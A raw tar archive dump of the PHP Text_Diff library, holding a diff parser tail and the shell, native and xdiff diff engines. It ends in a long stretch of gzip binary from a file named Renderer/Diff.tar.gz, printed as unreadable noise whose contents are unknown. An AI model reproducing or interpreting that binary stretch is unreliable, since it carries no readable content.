        $end = count($diff) - 1;
        for ($i = 0; $i < $end;) {
            $diff1 = array();
            switch (substr($diff[$i], 0, 1)) {
            case ' ':
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == ' ');
                $edits[] = new Text_Diff_Op_copy($diff1);
                break;

            case '+':
                // get all new lines
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '+');
                $edits[] = new Text_Diff_Op_add($diff1);
                break;

            case '-':
                // get changed or removed lines
                $diff2 = array();
                do {
                    $diff1[] = substr($diff[$i], 1);
                } while (++$i < $end && substr($diff[$i], 0, 1) == '-');

                while ($i < $end && substr($diff[$i], 0, 1) == '+') {
                    $diff2[] = substr($diff[$i++], 1);
                }
                if (count($diff2) == 0) {
                    $edits[] = new Text_Diff_Op_delete($diff1);
                } else {
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                }
                break;

            default:
                $i++;
                break;
            }
        }

        return $edits;
    }

    /**
     * Parses an array containing the context diff.
     *
     * @param array $diff  Array of lines.
     *
     * @return array  List of all diff operations.
     */
    function parseContextDiff(&$diff)
    {
        $edits = array();
        $i = $max_i = $j = $max_j = 0;
        $end = count($diff) - 1;
        while ($i < $end && $j < $end) {
            while ($i >= $max_i && $j >= $max_j) {
                // Find the boundaries of the diff output of the two files
                for ($i = $j;
                     $i < $end && substr($diff[$i], 0, 3) == '***';
                     $i++);
                for ($max_i = $i;
                     $max_i < $end && substr($diff[$max_i], 0, 3) != '---';
                     $max_i++);
                for ($j = $max_i;
                     $j < $end && substr($diff[$j], 0, 3) == '---';
                     $j++);
                for ($max_j = $j;
                     $max_j < $end && substr($diff[$max_j], 0, 3) != '***';
                     $max_j++);
            }

            // find what hasn't been changed
            $array = array();
            while ($i < $max_i &&
                   $j < $max_j &&
                   strcmp($diff[$i], $diff[$j]) == 0) {
                $array[] = substr($diff[$i], 2);
                $i++;
                $j++;
            }

            while ($i < $max_i && ($max_j-$j) <= 1) {
                if ($diff[$i] != '' && substr($diff[$i], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$i++], 2);
            }

            while ($j < $max_j && ($max_i-$i) <= 1) {
                if ($diff[$j] != '' && substr($diff[$j], 0, 1) != ' ') {
                    break;
                }
                $array[] = substr($diff[$j++], 2);
            }
            if (count($array) > 0) {
                $edits[] = new Text_Diff_Op_copy($array);
            }

            if ($i < $max_i) {
                $diff1 = array();
                switch (substr($diff[$i], 0, 1)) {
                case '!':
                    $diff2 = array();
                    do {
                        $diff1[] = substr($diff[$i], 2);
                        if ($j < $max_j && substr($diff[$j], 0, 1) == '!') {
                            $diff2[] = substr($diff[$j++], 2);
                        }
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '!');
                    $edits[] = new Text_Diff_Op_change($diff1, $diff2);
                    break;

                case '+':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff1);
                    break;

                case '-':
                    do {
                        $diff1[] = substr($diff[$i], 2);
                    } while (++$i < $max_i && substr($diff[$i], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff1);
                    break;
                }
            }

            if ($j < $max_j) {
                $diff2 = array();
                switch (substr($diff[$j], 0, 1)) {
                case '+':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '+');
                    $edits[] = new Text_Diff_Op_add($diff2);
                    break;

                case '-':
                    do {
                        $diff2[] = substr($diff[$j++], 2);
                    } while ($j < $max_j && substr($diff[$j], 0, 1) == '-');
                    $edits[] = new Text_Diff_Op_delete($diff2);
                    break;
                }
            }
        }

        return $edits;
    }

}
                                                                                                                                                                                                                                                                                                                                                                     Engine/shell.php                                                                                    0000644                 00000012123 15217306007 0007571 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the Unix `diff` program via shell_exec to compute the
 * differences between the two input arrays.
 *
 * Copyright 2007-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Milian Wolff <mail@milianw.de>
 * @package Text_Diff
 * @since   0.3.0
 */
class Text_Diff_Engine_shell {

    /**
     * Path to the diff executable
     *
     * @var string
     */
    var $_diffCommand = 'diff';

    /**
     * Returns the array of differences.
     *
     * @param array $from_lines lines of text from old file
     * @param array $to_lines   lines of text from new file
     *
     * @return array all changes made (array with Text_Diff_Op_* objects)
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $temp_dir = Text_Diff::_getTempDir();

        // Execute gnu diff or similar to get a standard diff file.
        $from_file = tempnam($temp_dir, 'Text_Diff');
        $to_file = tempnam($temp_dir, 'Text_Diff');
        $fp = fopen($from_file, 'w');
        fwrite($fp, implode("\n", $from_lines));
        fclose($fp);
        $fp = fopen($to_file, 'w');
        fwrite($fp, implode("\n", $to_lines));
        fclose($fp);
        $diff = shell_exec($this->_diffCommand . ' ' . $from_file . ' ' . $to_file);
        unlink($from_file);
        unlink($to_file);

        if (is_null($diff)) {
            // No changes were made
            return array(new Text_Diff_Op_copy($from_lines));
        }

        $from_line_no = 1;
        $to_line_no = 1;
        $edits = array();

        // Get changed lines by parsing something like:
        // 0a1,2
        // 1,2c4,6
        // 1,5d6
        preg_match_all('#^(\d+)(?:,(\d+))?([adc])(\d+)(?:,(\d+))?$#m', $diff,
            $matches, PREG_SET_ORDER);

        foreach ($matches as $match) {
            if (!isset($match[5])) {
                // This paren is not set every time (see regex).
                $match[5] = false;
            }

            if ($match[3] == 'a') {
                $from_line_no--;
            }

            if ($match[3] == 'd') {
                $to_line_no--;
            }

            if ($from_line_no < $match[1] || $to_line_no < $match[4]) {
                // copied lines
                assert($match[1] - $from_line_no == $match[4] - $to_line_no);
                array_push($edits,
                    new Text_Diff_Op_copy(
                        $this->_getLines($from_lines, $from_line_no, $match[1] - 1),
                        $this->_getLines($to_lines, $to_line_no, $match[4] - 1)));
            }

            switch ($match[3]) {
            case 'd':
                // deleted lines
                array_push($edits,
                    new Text_Diff_Op_delete(
                        $this->_getLines($from_lines, $from_line_no, $match[2])));
                $to_line_no++;
                break;

            case 'c':
                // changed lines
                array_push($edits,
                    new Text_Diff_Op_change(
                        $this->_getLines($from_lines, $from_line_no, $match[2]),
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                break;

            case 'a':
                // added lines
                array_push($edits,
                    new Text_Diff_Op_add(
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                $from_line_no++;
                break;
            }
        }

        if (!empty($from_lines)) {
            // Some lines might still be pending. Add them as copied
            array_push($edits,
                new Text_Diff_Op_copy(
                    $this->_getLines($from_lines, $from_line_no,
                                     $from_line_no + count($from_lines) - 1),
                    $this->_getLines($to_lines, $to_line_no,
                                     $to_line_no + count($to_lines) - 1)));
        }

        return $edits;
    }

    /**
     * Get lines from either the old or new text
     *
     * @access private
     *
     * @param array $text_lines Either $from_lines or $to_lines (passed by reference).
     * @param int   $line_no    Current line number (passed by reference).
     * @param int   $end        Optional end line, when we want to chop more
     *                          than one line.
     *
     * @return array The chopped lines
     */
    function _getLines(&$text_lines, &$line_no, $end = false)
    {
        if (!empty($end)) {
            $lines = array();
            // We can shift even more
            while ($line_no <= $end) {
                array_push($lines, array_shift($text_lines));
                $line_no++;
            }
        } else {
            $lines = array(array_shift($text_lines));
            $line_no++;
        }

        return $lines;
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                             Engine/native.php                                                                                   0000644                 00000037261 15217306007 0007762 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Class used internally by Text_Diff to actually compute the diffs.
 *
 * This class is implemented using native PHP code.
 *
 * The algorithm used here is mostly lifted from the perl module
 * Algorithm::Diff (version 1.06) by Ned Konz, which is available at:
 * https://cpan.metacpan.org/authors/id/N/NE/NEDKONZ/Algorithm-Diff-1.06.zip
 *
 * More ideas are taken from: http://www.ics.uci.edu/~eppstein/161/960229.html
 *
 * Some ideas (and a bit of code) are taken from analyze.c, of GNU
 * diffutils-2.7, which can be found at:
 * ftp://gnudist.gnu.org/pub/gnu/diffutils/diffutils-2.7.tar.gz
 *
 * Some ideas (subdivision by NCHUNKS > 2, and some optimizations) are from
 * Geoffrey T. Dairiki <dairiki@dairiki.org>. The original PHP version of this
 * code was written by him, and is used/adapted with his permission.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_native {

    public $xchanged;
    public $ychanged;
    public $xv;
    public $yv;
    public $xind;
    public $yind;
    public $seq;
    public $in_seq;
    public $lcs;

    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $n_from = count($from_lines);
        $n_to = count($to_lines);

        $this->xchanged = $this->ychanged = array();
        $this->xv = $this->yv = array();
        $this->xind = $this->yind = array();
        unset($this->seq);
        unset($this->in_seq);
        unset($this->lcs);

        // Skip leading common lines.
        for ($skip = 0; $skip < $n_from && $skip < $n_to; $skip++) {
            if ($from_lines[$skip] !== $to_lines[$skip]) {
                break;
            }
            $this->xchanged[$skip] = $this->ychanged[$skip] = false;
        }

        // Skip trailing common lines.
        $xi = $n_from; $yi = $n_to;
        for ($endskip = 0; --$xi > $skip && --$yi > $skip; $endskip++) {
            if ($from_lines[$xi] !== $to_lines[$yi]) {
                break;
            }
            $this->xchanged[$xi] = $this->ychanged[$yi] = false;
        }

        // Ignore lines which do not exist in both files.
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $xhash[$from_lines[$xi]] = 1;
        }
        for ($yi = $skip; $yi < $n_to - $endskip; $yi++) {
            $line = $to_lines[$yi];
            if (($this->ychanged[$yi] = empty($xhash[$line]))) {
                continue;
            }
            $yhash[$line] = 1;
            $this->yv[] = $line;
            $this->yind[] = $yi;
        }
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $line = $from_lines[$xi];
            if (($this->xchanged[$xi] = empty($yhash[$line]))) {
                continue;
            }
            $this->xv[] = $line;
            $this->xind[] = $xi;
        }

        // Find the LCS.
        $this->_compareseq(0, count($this->xv), 0, count($this->yv));

        // Merge edits when possible.
        $this->_shiftBoundaries($from_lines, $this->xchanged, $this->ychanged);
        $this->_shiftBoundaries($to_lines, $this->ychanged, $this->xchanged);

        // Compute the edit operations.
        $edits = array();
        $xi = $yi = 0;
        while ($xi < $n_from || $yi < $n_to) {
            assert($yi < $n_to || $this->xchanged[$xi]);
            assert($xi < $n_from || $this->ychanged[$yi]);

            // Skip matching "snake".
            $copy = array();
            while ($xi < $n_from && $yi < $n_to
                   && !$this->xchanged[$xi] && !$this->ychanged[$yi]) {
                $copy[] = $from_lines[$xi++];
                ++$yi;
            }
            if ($copy) {
                $edits[] = new Text_Diff_Op_copy($copy);
            }

            // Find deletes & adds.
            $delete = array();
            while ($xi < $n_from && $this->xchanged[$xi]) {
                $delete[] = $from_lines[$xi++];
            }

            $add = array();
            while ($yi < $n_to && $this->ychanged[$yi]) {
                $add[] = $to_lines[$yi++];
            }

            if ($delete && $add) {
                $edits[] = new Text_Diff_Op_change($delete, $add);
            } elseif ($delete) {
                $edits[] = new Text_Diff_Op_delete($delete);
            } elseif ($add) {
                $edits[] = new Text_Diff_Op_add($add);
            }
        }

        return $edits;
    }

    /**
     * Divides the Largest Common Subsequence (LCS) of the sequences (XOFF,
     * XLIM) and (YOFF, YLIM) into NCHUNKS approximately equally sized
     * segments.
     *
     * Returns (LCS, PTS).  LCS is the length of the LCS. PTS is an array of
     * NCHUNKS+1 (X, Y) indexes giving the diving points between sub
     * sequences.  The first sub-sequence is contained in (X0, X1), (Y0, Y1),
     * the second in (X1, X2), (Y1, Y2) and so on.  Note that (X0, Y0) ==
     * (XOFF, YOFF) and (X[NCHUNKS], Y[NCHUNKS]) == (XLIM, YLIM).
     *
     * This function assumes that the first lines of the specified portions of
     * the two files do not match, and likewise that the last lines do not
     * match.  The caller must trim matching lines from the beginning and end
     * of the portions it is going to specify.
     */
    function _diag ($xoff, $xlim, $yoff, $ylim, $nchunks)
    {
        $flip = false;

        if ($xlim - $xoff > $ylim - $yoff) {
            /* Things seems faster (I'm not sure I understand why) when the
             * shortest sequence is in X. */
            $flip = true;
            list ($xoff, $xlim, $yoff, $ylim)
                = array($yoff, $ylim, $xoff, $xlim);
        }

        if ($flip) {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->xv[$i]][] = $i;
            }
        } else {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->yv[$i]][] = $i;
            }
        }

        $this->lcs = 0;
        $this->seq[0]= $yoff - 1;
        $this->in_seq = array();
        $ymids[0] = array();

        $numer = $xlim - $xoff + $nchunks - 1;
        $x = $xoff;
        for ($chunk = 0; $chunk < $nchunks; $chunk++) {
            if ($chunk > 0) {
                for ($i = 0; $i <= $this->lcs; $i++) {
                    $ymids[$i][$chunk - 1] = $this->seq[$i];
                }
            }

            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $chunk) / $nchunks);
            for (; $x < $x1; $x++) {
                $line = $flip ? $this->yv[$x] : $this->xv[$x];
                if (empty($ymatches[$line])) {
                    continue;
                }
                $matches = $ymatches[$line];
                reset($matches);
                while ($y = current($matches)) {
                    if (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                        break;
                    }
                    next($matches);
                }
                while ($y = current($matches)) {
                    if ($y > $this->seq[$k - 1]) {
                        assert($y <= $this->seq[$k]);
                        /* Optimization: this is a common case: next match is
                         * just replacing previous match. */
                        $this->in_seq[$this->seq[$k]] = false;
                        $this->seq[$k] = $y;
                        $this->in_seq[$y] = 1;
                    } elseif (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                    }
                    next($matches);
                }
            }
        }

        $seps[] = $flip ? array($yoff, $xoff) : array($xoff, $yoff);
        $ymid = $ymids[$this->lcs];
        for ($n = 0; $n < $nchunks - 1; $n++) {
            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $n) / $nchunks);
            $y1 = $ymid[$n] + 1;
            $seps[] = $flip ? array($y1, $x1) : array($x1, $y1);
        }
        $seps[] = $flip ? array($ylim, $xlim) : array($xlim, $ylim);

        return array($this->lcs, $seps);
    }

    function _lcsPos($ypos)
    {
        $end = $this->lcs;
        if ($end == 0 || $ypos > $this->seq[$end]) {
            $this->seq[++$this->lcs] = $ypos;
            $this->in_seq[$ypos] = 1;
            return $this->lcs;
        }

        $beg = 1;
        while ($beg < $end) {
            $mid = (int)(($beg + $end) / 2);
            if ($ypos > $this->seq[$mid]) {
                $beg = $mid + 1;
            } else {
                $end = $mid;
            }
        }

        assert($ypos != $this->seq[$end]);

        $this->in_seq[$this->seq[$end]] = false;
        $this->seq[$end] = $ypos;
        $this->in_seq[$ypos] = 1;
        return $end;
    }

    /**
     * Finds LCS of two sequences.
     *
     * The results are recorded in the vectors $this->{x,y}changed[], by
     * storing a 1 in the element for each line that is an insertion or
     * deletion (ie. is not in the LCS).
     *
     * The subsequence of file 0 is (XOFF, XLIM) and likewise for file 1.
     *
     * Note that XLIM, YLIM are exclusive bounds.  All line numbers are
     * origin-0 and discarded lines are not counted.
     */
    function _compareseq ($xoff, $xlim, $yoff, $ylim)
    {
        /* Slide down the bottom initial diagonal. */
        while ($xoff < $xlim && $yoff < $ylim
               && $this->xv[$xoff] == $this->yv[$yoff]) {
            ++$xoff;
            ++$yoff;
        }

        /* Slide up the top initial diagonal. */
        while ($xlim > $xoff && $ylim > $yoff
               && $this->xv[$xlim - 1] == $this->yv[$ylim - 1]) {
            --$xlim;
            --$ylim;
        }

        if ($xoff == $xlim || $yoff == $ylim) {
            $lcs = 0;
        } else {
            /* This is ad hoc but seems to work well.  $nchunks =
             * sqrt(min($xlim - $xoff, $ylim - $yoff) / 2.5); $nchunks =
             * max(2,min(8,(int)$nchunks)); */
            $nchunks = min(7, $xlim - $xoff, $ylim - $yoff) + 1;
            list($lcs, $seps)
                = $this->_diag($xoff, $xlim, $yoff, $ylim, $nchunks);
        }

        if ($lcs == 0) {
            /* X and Y sequences have no common subsequence: mark all
             * changed. */
            while ($yoff < $ylim) {
                $this->ychanged[$this->yind[$yoff++]] = 1;
            }
            while ($xoff < $xlim) {
                $this->xchanged[$this->xind[$xoff++]] = 1;
            }
        } else {
            /* Use the partitions to split this problem into subproblems. */
            reset($seps);
            $pt1 = $seps[0];
            while ($pt2 = next($seps)) {
                $this->_compareseq ($pt1[0], $pt2[0], $pt1[1], $pt2[1]);
                $pt1 = $pt2;
            }
        }
    }

    /**
     * Adjusts inserts/deletes of identical lines to join changes as much as
     * possible.
     *
     * We do something when a run of changed lines include a line at one end
     * and has an excluded, identical line at the other.  We are free to
     * choose which identical line is included.  `compareseq' usually chooses
     * the one at the beginning, but usually it is cleaner to consider the
     * following identical line to be the "change".
     *
     * This is extracted verbatim from analyze.c (GNU diffutils-2.7).
     */
    function _shiftBoundaries($lines, &$changed, $other_changed)
    {
        $i = 0;
        $j = 0;

        assert(count($lines) == count($changed));
        $len = count($lines);
        $other_len = count($other_changed);

        while (1) {
            /* Scan forward to find the beginning of another run of
             * changes. Also keep track of the corresponding point in the
             * other file.
             *
             * Throughout this code, $i and $j are adjusted together so that
             * the first $i elements of $changed and the first $j elements of
             * $other_changed both contain the same number of zeros (unchanged
             * lines).
             *
             * Furthermore, $j is always kept so that $j == $other_len or
             * $other_changed[$j] == false. */
            while ($j < $other_len && $other_changed[$j]) {
                $j++;
            }

            while ($i < $len && ! $changed[$i]) {
                assert($j < $other_len && ! $other_changed[$j]);
                $i++; $j++;
                while ($j < $other_len && $other_changed[$j]) {
                    $j++;
                }
            }

            if ($i == $len) {
                break;
            }

            $start = $i;

            /* Find the end of this run of changes. */
            while (++$i < $len && $changed[$i]) {
                continue;
            }

            do {
                /* Record the length of this run of changes, so that we can
                 * later determine whether the run has grown. */
                $runlength = $i - $start;

                /* Move the changed region back, so long as the previous
                 * unchanged line matches the last changed one.  This merges
                 * with previous changed regions. */
                while ($start > 0 && $lines[$start - 1] == $lines[$i - 1]) {
                    $changed[--$start] = 1;
                    $changed[--$i] = false;
                    while ($start > 0 && $changed[$start - 1]) {
                        $start--;
                    }
                    assert($j > 0);
                    while ($other_changed[--$j]) {
                        continue;
                    }
                    assert($j >= 0 && !$other_changed[$j]);
                }

                /* Set CORRESPONDING to the end of the changed run, at the
                 * last point where it corresponds to a changed run in the
                 * other file. CORRESPONDING == LEN means no such point has
                 * been found. */
                $corresponding = $j < $other_len ? $i : $len;

                /* Move the changed region forward, so long as the first
                 * changed line matches the following unchanged one.  This
                 * merges with following changed regions.  Do this second, so
                 * that if there are no merges, the changed region is moved
                 * forward as far as possible. */
                while ($i < $len && $lines[$start] == $lines[$i]) {
                    $changed[$start++] = false;
                    $changed[$i++] = 1;
                    while ($i < $len && $changed[$i]) {
                        $i++;
                    }

                    assert($j < $other_len && ! $other_changed[$j]);
                    $j++;
                    if ($j < $other_len && $other_changed[$j]) {
                        $corresponding = $i;
                        while ($j < $other_len && $other_changed[$j]) {
                            $j++;
                        }
                    }
                }
            } while ($runlength != $i - $start);

            /* If possible, move the fully-merged run of changes back to a
             * corresponding run in the other file. */
            while ($corresponding < $i) {
                $changed[--$start] = 1;
                $changed[--$i] = 0;
                assert($j > 0);
                while ($other_changed[--$j]) {
                    continue;
                }
                assert($j >= 0 && !$other_changed[$j]);
            }
        }
    }

}
                                                                                                                                                                                                                                                                                                                                               Engine/xdiff.php                                                                                    0000644                 00000004233 15217306007 0007565 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the xdiff PECL package (http://pecl.php.net/package/xdiff)
 * to compute the differences between the two input arrays.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Jon Parise <jon@horde.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_xdiff {

    /**
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        /* Convert the two input arrays into strings for xdiff processing. */
        $from_string = implode("\n", $from_lines);
        $to_string = implode("\n", $to_lines);

        /* Diff the two strings and convert the result to an array. */
        $diff = xdiff_string_diff($from_string, $to_string, count($to_lines));
        $diff = explode("\n", $diff);

        /* Walk through the diff one line at a time.  We build the $edits
         * array of diff operations by reading the first character of the
         * xdiff output (which is in the "unified diff" format).
         *
         * Note that we don't have enough information to detect "changed"
         * lines using this approach, so we can't add Text_Diff_Op_changed
         * instances to the $edits array.  The result is still perfectly
         * valid, albeit a little less descriptive and efficient. */
        $edits = array();
        foreach ($diff as $line) {
            if (!strlen($line)) {
                continue;
            }
            switch ($line[0]) {
            case ' ':
                $edits[] = new Text_Diff_Op_copy(array(substr($line, 1)));
                break;

            case '+':
                $edits[] = new Text_Diff_Op_add(array(substr($line, 1)));
                break;

            case '-':
                $edits[] = new Text_Diff_Op_delete(array(substr($line, 1)));
                break;
            }
        }

        return $edits;
    }

}
                                                                                                                                                                                                                                                                                                                                                                     Renderer/Diff.tar.gz                                                                                0000644                 00006611413 15217306015 0010325 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             	 T8n%}Ⱦ;Q".kØa"R*{ɒ(KViehQ
"wf>oﾯs}sg;	Cbp$zya|hQ .YiUӁKJJF@BFRBNJ\V\\H= U_^(p7ģ.mo0Gm/+6)FhSHgK~FY4%­>59;fyLIwghqacc*9F[oR:CY$Klnފ~αC?S<KP=\InF,I@^/6iGutB&[FT77ֺŐ0}YM?WLqpݗq;]3)iw^jwv7/kl O5j?[p~KvlC	mzy;0)H@xY*-{o氹,2W7Z׻a@
umIaYswwmx7x:yLa|ŗz/v6K.}C뉌3}ajmWt-%2}lËͩb]wGNmT羦"C&I03Ta276upOyɾU?&C&ܵ-SΣɑwti+jNQFv;E"Rt,׸)v)5˽
8@jr>#e_IDMЄgQ	VcgvIJff~,F\֥pw<՜Nj㖒W)+u%neyo)).@zl+6^gPRL:wHI犓f$nF_>~޲I#)l鿡S&:bWe{
֫۹__]H4;X{.w+hR7RvCPl*Ի?86Q5Gd3ƙ\t>#A	E5<foxʌd{x"Ջ'j{\~7BuV7,]C-\	z>r]籷Y^?k>%4ൃROBzR.'8lyFjF+֬%Ur.{:؉[K7m4VwNtuJS}睸{ω62;؜=1&UdıJ0$:cr3+R|܆FF8HASfUʿ*EE鼮&<FN	{=yAy}UIHHMwAnq1qUh=n#?-:jUϵzA3GyÍ뭊d϶;I1nbkݰM}Wx[̕ܓ#stV)7]OwK/Rok1b}fʙ.7w^Ϝ0)T/.}&V5Ua0]f;.&t̏
ur:oQ/9
<N)+DU^Äݑ[v>#fC!ܜ2fJ^$AV
Mn(H*/H{(ё/ڈݟR;Hvlr?jI</EYqU.(A
yw3z&	gB}jd/^ Ih&'3VޒcTӒ]qm䫝S'<j>1smSޓ^bvN(%qzk';+Ƶ[dY=J9d9y/DD~+>%IUlQ.z:NJYu zX2mf?0<a16IVɜbZnIɮkw]_?z<w'kvӄ)0^Մ(n3Q@gHǎ .qgzC)؛	jm=2]L.)hS<+IiXƥb3]>%nZxUxkFٲ&jxL	=	SUo7ʾ<y#d9ScCk&v|Jp!1a=!6g;|G#ߏCB~lgg?"%s㝩ibNm1gW3]};f&g_x]>ސ}_<;37L]=ԁrflx_|.~{_	NV|"xfS;fX7wf3E_Lݙںgv83D췑7w9f)S޶OΌk`(o|pfw'0`eD,tvv ܥxx;f> :Eǁw;|`eƾO3L]tjJp1?7wR҅x&ptTw;>|-\/zv|;NOX;E.Ev:[xoos3nuLD+ݓ{L\7u}R4iS?"{8C%S쥉C5tmzIɛ*2e1WzB?|fǡRGt4"Ӳ1\0`"$͂}vcݣW#16:ԝPOFͣu28qV!}6o?*7ylohz<py	=E6vC	iF-:_$Gx8i^
wZht`Ʉ.GT>鉸WsΏw5mi=%Ƒ:Ѵh岐4-rӣ[lzT|QMUsr:M?]wfcqZќ+3޹G÷	qY&4}2­y݊d0%y憬4mj=2OwA*E>֋w>u(ƛB:Wy)RIY31SDݵ{4W>Ͼlؤ"{B!mx
5j-F9Ix5ݱtOlw:?%V4.۷F:lj h)MX.mt&\~ӣmu%tnG#w cͼI^rN	ZZG8k4A`#Cw%DD`y7~9K<?ˤ%ݞ	RBuov=W:yi:y]}A3^+53PyfwI~'`!'-ɊTyvGSs#oKry̙W&R|#mT8!$?NF<;DL,MdJqCRsQQa6!3wT?cH{H"`}5Aèyγ_Co~z/6Y50&.vھ鞁fLq[츥 ȵ]0N77awIFx7ͪ]\gH$ÅKXw<+Ž"ԎFHL|H3'#[	1{"f܃_sqmEԣR<?"pwqUTmCZNCN/.cm_6P[R+UXzWOv(0M-ؖ=yX=>*%Kj=eSsUw&X6aP\3w]]|Jdm@'G}+JژAM^ sNw
FI]fH9/H)"zCEƹxUx0Rj,G->GnzQNftRJf!Uc`4ܸ_ve0;ԷMȳ+ÌH2`/rnv#D{_tr#*lvH[D$1|T	Y<#X}:>'Iia
[^;-K2yW*e dOU303vg8CUQDe<Cǿ-e3纵X:o{o9 A4 %.A\$\&ӝ:dpk̨|~p}{CλqFyv.HjZ]BU$G7R|"z:߃H	Ӟ
FDDvU)<')d&$xP\r"kB~!4QB^WH6tyzMD_/E+HO+IVxu-Eﲵ:BО$<-adci03ܶ<ݼG-^j+kMv׿4,%nR>pW"b2r;wd};R)aYmIfk';Rj{{;װZ>i4+wdFY|.½vqϦċi6RRVPIUcq&_&ZIxRg./i3*G_}("0'<'PMtP{s\<dλo~hD5cɵ%WN(.FHv$c~{۫OJ>vs"@Z_CRRrVCMDSd%״y%Uuoݎ\8_Ԇϼ	{{D;C'vpwj+`AG</X'y$ȅA똊;<w2֔E`@*b5B;R.vR+7ո}9 $ 5*IB
w?q+ː%hd=֕Xwk~ς^K>Eԣ 	zD5Nbzwrz'k -ג>$ ƘSz!F'SE?|NM10Lf*|&ChfcAԹ/$$uMѵd2nև5s<٨ao	muW")~=OL".iMocڔGW7iV,W@m	{Gm'L<@]`z-/>Rh4eN=P=(n0N$vP)BuU X̓v97ܪ]:#}/VmEVS5Z}_FA:²!g `dc3iRtf
NLeWӹ)tF#ܘ	֭7+o1}{pÖS&^oUqdt!rU#rTƵsJ*jY,D%m`J.bKw9o˓m]z%u_HJvG9O4HM;GVR{>="}f#w.i<71df GC{Jn"~p" Tkg,;dH	qs?=a$~(޲w3~lOX93Fѳl:44f5CW_[,zMMd+1XoZ\u2HX<O.#%A}y-yǣK>Q(yUԿ M=Ktsư?9$}aEMwJxSgɎn23Sѷn͔hI} sOAt9qD6Oԕ]Lnlc0"ZsC{

wjNrzy8yAӲ]u_AJ+ⲃ|;[Oo qq5$[^jˣw}2hh]fؾHm2oT~zSQ{鴴Dzl}*,U{N+&I5nuϢDNSr&Bi-Z51ꎮyO ˥g!_3&/~UqbT;Q&r*Mw@p`u,϶RuaȾnoU 4< RM}pykNE(2ޘ>(㱕 k޶bjɰnMY?Eh;ҹq^E+
\bW@Bw(\>gB었Znu˸9}Ĥ%0blEń>%&ZxQO_8vHTC꽳D3a=ڜJ!:~hBu.j.EV)y;а;qGS<:o0΢qD.mwCެ,u鱧_Gc2c)^@NGW֣&daH*VqSOvE,ҡ*
,6IL=U5MWQJD=.K6_ǒC6d>S{wˇNn\'k\Rx Qm-y9#䧆IJl*ͦZ(u	#N"w[:t}4a!9l&x6ElhOTzݫ2vn-胵av{i"Yz|sD:Ҟ0ѱ4pS>=dr*fw)J.8DL?Ozm"H5I'CKQ׏];t<Cq0*Z]PP=uvҤ,5٢0c<	B9\ܪ19vXMJ+untsOw=L/,dqb?^8]ign/l+!
7nn:UU8,
z!x|Y|A'[ؽrÇȵ0J#ɒQO}>9+Ī%)SI~Z:k4wK*?Iֈ]!OgΠtL@58YgxMGveK3??Y+]~\ʙʧBДz`*zsJ%**%'|)vGznKeu^!ќ-hǧlz'iZ.v'$IvVGyM)/JºQ{:,&|Hl݅76rYvSl<wgc~
<)6W"=!t/j O)%Լ$PsRUrӲ,RZ?Bw*irS=3|LR[!{ѷ69{wkYToh#fa<7oP	}3Lڟql]k#ՌG'9wdmg&i$(][RjaΞc$Me;2?K\H#yb|肋?L<dU0dJ)*%՞hm7};.[{>D-3_5c8c>Sݤ6r[^I
{T&ۣROk ?qtWo/wT~1k".=$Nj\Ydُ]Sd!Ls_)]x{a_6$
)i>k/T 9q>ެ"v3@>>_8$(Ŗ.t&JϏꤎoo
+U7scӠ'XA?B/S۪;zkhCN7/I0)y5J`@PCUB G'6QvYFtZv&{Ɠ*ŒÏ6S%~	1֑~0A\>vI͟?LQ}M _/&G1Gs:ӧցFʻc[N+uںell!\p[.мV)Sw&^p Bykc%2D}e5^ޱMwjKN	}zO2Y)N~"#=$;S.):bC
